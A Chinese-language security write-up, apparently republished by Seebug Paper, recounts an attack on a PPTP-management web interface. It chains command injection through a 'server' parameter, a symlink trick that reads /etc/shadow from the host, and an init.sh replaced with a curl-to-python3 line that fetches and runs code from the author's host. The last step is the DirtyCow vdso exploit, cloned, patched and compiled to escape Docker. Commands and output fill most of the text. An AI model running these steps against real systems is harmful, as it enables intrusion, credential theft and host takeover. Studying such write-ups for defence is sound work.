作者:RicterZ
TL; DR
題目有些標題黨了。這個漏洞是我在測試 biligame 是發現的,此程序監聽在 8081 端口,是一個管理 PPTP 的 Web Interface。首先,通過黑盒測試,發現存在一個在 Docker 容器內的命令執行,接著通過 banner 搜索,在 Github 上找到源代碼,通過閱讀源碼,實現了 Docker 容器外的文件讀取,最后通過 DirtyCow 來逃逸 Docker。 非常 CTF 的一個魔幻經歷,于是寫了一篇文章來分享一下。
RCE
訪問目標站,很貼心的列出了 endpoints:

首先測試一下其正常功能:
列出 VPN:
bash-3.2$ curl target:8081/tunnels 2> /dev/null | jq
[
{
"status": "INITIAL",
"external": null,
"local": "172.17.0.2",
"dns1": null,
"tunnel_ip": null,
"user": "[...]",
"server": "[...]",
"id": "[...]",
"dns2": null,
"port": [...]
},
...
]
添加 VPN:
bash-3.2$ curl target:8081/tunnel --data ""
<h1>500 Internal Server Error</h1>Param: name not found!
bash-3.2$ curl target:8081/tunnel --data "name=test"
<h1>500 Internal Server Error</h1>Param: server not found
...
bash-3.2$ curl target:8081/tunnel --data "name=test&server=a.asf.loli.club&user=asd&pass=123&port=5555"
{"status":"INITIAL","external":null,"local":"172.17.0.5","dns1":null,"tunnel_ip":null,"user":"asd","server":"a.asf.loli.club","id":"test","dns2":null,"port":5555}
通過報錯顯示出需要的參數:name、server、user、pass、port。
刪除 VPN:
bash-3.2$ curl -XDELETE target:8081/tunnel/test
test
邊緣測試,顯示報錯信息:
bash-3.2$ curl target:8081/tunnel --data "name=test&server=a.asf.loli.club&user=asd&pass=123&port=5555"
{"status":"INITIAL","external":null,"local":"172.17.0.5","dns1":null,"tunnel_ip":null,"user":"asd","server":"a.asf.loli.club","id":"test","dns2":null,"port":5555}
bash-3.2$ curl target:8081/tunnel --data "name=test&server=a.asf.loli.club&user=asd&pass=123&port=5555"
{"Err":"docker: Error response from daemon: Conflict. The name \"/test\" is already in use by container 1dfabf508870215bb0592e6a8666bd47498157ed631baf54d54cbb0ecf5dcc4b. You have to remove (or rename) that container to be able to reuse that name..\nSee 'docker run --help'.\n"}
發現是 Docker 的報錯信息,而且根據回顯,推測是后端直接調用 Docker 命令。
有調用就有 RCE,于是我嘗試在 :name 參數進行命令注入,但是失敗了,推測應該是有 escape。
bash-3.2$ curl -XDELETE target:8081/tunnel/\`a\`test
<h1>500 Internal Server Error</h1>Error response from daemon: No such container: `a`test
bash-3.2$ curl -XDELETE target:8081/tunnel/\'\`a\`test
<h1>500 Internal Server Error</h1>Error response from daemon: No such container: '`a`test
接著我測試在添加 VPN 出的命令注入,不出所料,存在:
bash-3.2$ curl target:8081/tunnel --data "name=test&server=\`whoami\`-bilibili.asf.loli.club&user=asd&pass=123&port=5555"
{"status":"INITIAL","external":null,"local":"172.17.0.5","dns1":null,"tunnel_ip":null,"user":"asd","server":"`whoami`-bilibili.asf.loli.club","id":"test","dns2":null,"port":5555}

高興了大概 1 分鐘,我就發現,其實我命令執行的地方是在一個 Docker 容器內:
bash-3.2$ curl target:8081/tunnel --data "name=test&server=\`ls%20/.docker*\`-bilibili.asf.loli.club&user=asd&pass=123&port=5555"
{"status":"INITIAL","external":null,"local":"172.17.0.5","dns1":null,"tunnel_ip":null,"user":"asd","server":"`whoami`-bilibili.asf.loli.club","id":"test","dns2":null,"port":5555}

文件讀取
通過搜索 banner,我找到了這個網站的源代碼,通過閱讀源碼,我發現了一個比較有意思的未公開 API:
tunnelLogs :: String -> IO String
tunnelLogs name = do
let path = flags_dataDir </> name <.> "log"
sh $ "tail " ++ escape path
...
get "/tunnel/:name/logs" $ do
name <- param "name"
logs <- liftIO $ tunnelLogs name
text $ L.pack logs
在調用這個 API 時,會讀取 /data/:name.log。再看看創建 Docker 時候:
tunnelCreate :: String -> String -> String -> String -> Maybe String -> IO (Either String TunnelInfo)
tunnelCreate "" _ _ _ _ = return $ Left "Name must not be empty"
tunnelCreate _ "" _ _ _ = return $ Left "Server must not be empty"
tunnelCreate name server user pass port = do
let n = escape name
let portDef = case port of
Just p -> "-p "++p++":3128"
Nothing -> "-p 3128"
r <- shExJoin ["docker run -d --restart=always"
,"--device /dev/ppp"
,"--cap-add=net_admin"
,"--name",n,"-h",n
,"-v "++flags_dataDir++":/data", portDef, flags_image
,"/init.sh ", escapeMany [server,user,pass]
]
case r of
Left err -> return $ Left err
Right _ -> tunnelInfo name
注意這一行:
,"-v "++flags_dataDir++":/data", portDef, flags_image
由于這個 API 運行在容器外,但是容器內的 /data 可以操控,于是通過創建軟鏈接即可讀取到容器外的文件。
在容器內:
root@fff2:/data# rm fff.log && ln -s /etc/shadow fff.log
ln -s /etc/shadow fff.log
接著訪問 logs:
bash-3.2$ curl target:8081/tunnel/fff/logs
nobody:*:16176:0:99999:7:::
libuuid:!:16176:0:99999:7:::
syslog:*:16176:0:99999:7:::
messagebus:*:16179:0:99999:7:::
landscape:*:16179:0:99999:7:::
sshd:*:16179:0:99999:7:::
ubuntu:$6$7yyw0fAK$[...]5.Urq81:17134:0:99999:7:::
ntp:*:16179:0:99999:7:::
dnsmasq:*:16179:0:99999:7:::
colord:*:16179:0:99999:7:::
Bingo,至此通過 Docker 配合 API 的文件讀取完成。
Escape!
但是,滿足嗎?
我是不滿足的,文件讀取還只是 tail 的一部分,并不能威脅到服務器的核心安全。
通過一些信息收集,我發現此服務器內核版本較低,可能可以通過 DirtyCow (CVE-2016-5195) 來進行 Docker 逃逸。
root@fff2:/data# uname -a
Linux fff2 3.13.0-88-generic #135-Ubuntu SMP Wed Jun 8 21:10:42 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
內核更新時間是 2016 年 6 月,而 DirtyCow 是在 2016 年 10 月,感覺看到了希望。
不過在進行逃逸之前,需要清除一些小障礙。
調用 API 后,Docker 運行的是 ppp 命令,在超過超時時間后,就會斷開 shell。由于需要編譯 payload,那么必須安裝 gcc 以及 make,但是時間超過了超時時間。
不過根據 API,通過 :name/down、:name/up,可以 start/stop Docker 容器,通過修改 init.sh 為反彈 shell 的腳本,接著 docker stop,再 start 后就會獲得一個穩定的 shell:
root@fff2:/data# cat /init.sh
#!/bin/bash
curl ricterz.me:8080/|python3
接著:
bash-3.2$ curl target:8081/tunnel/fff2/down
...
bash-3.2$ curl target:8081/tunnel/fff2/up
安裝好 gcc、nasm、make 后,編譯 payload 運行失敗。
root@fff2:/data/dirtycow-vdso-master# ./0xdeadbeef 172.17.0.8:1234
[*] payload target: 172.17.0.8:1234
[-] failed to patch payload's ip
雖然不知道發生了什么,但是我有一種感覺,就是 exp 作者更新了版本導致 exp 掛掉。于是我下載了老版本的 exp,編譯后成功獲得 shell:
# git clone https://github.com/scumjr/dirtycow-vdso/
Cloning into 'dirtycow-vdso'...
remote: Counting objects: 99, done.
remote: Total 99 (delta 0), reused 0 (delta 0), pack-reused 99
Unpacking objects: 100% (99/99), done.
Checking connectivity... done.
# cd dirtycow-vdso
# git reset --hard ef252dee4784758a494b4286e5ff1dac26e57c7d
HEAD is now at ef252de add another prologue
# sed -i 's/0x0100007f/0x80011ac/g' payload.s
# make
make
nasm -f bin -o payload payload.s
xxd -i payload payload.h
cc -o 0xdeadbeef.o -c 0xdeadbeef.c -Wall
cc -o 0xdeadbeef 0xdeadbeef.o -lpthread
# ./0xdeadbeef
[*] exploit: patch 1/2
[*] vdso successfully backdoored
[*] exploit: patch 2/2
[*] vdso successfully backdoored
[*] waiting for reverse connect shell...
[*] enjoy!
[*] restore: patch 2/2
ifconfig
docker0 Link encap:Ethernet HWaddr [...]
inet addr:172.17.0.1 Bcast:0.0.0.0 Mask:255.255.0.0
...
eth0 Link encap:Ethernet HWaddr [...]
inet addr:10.10.177.79 Bcast:10.10.255.255 Mask:255.255.0.0
...
至此,逃逸成功。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/396/
暫無評論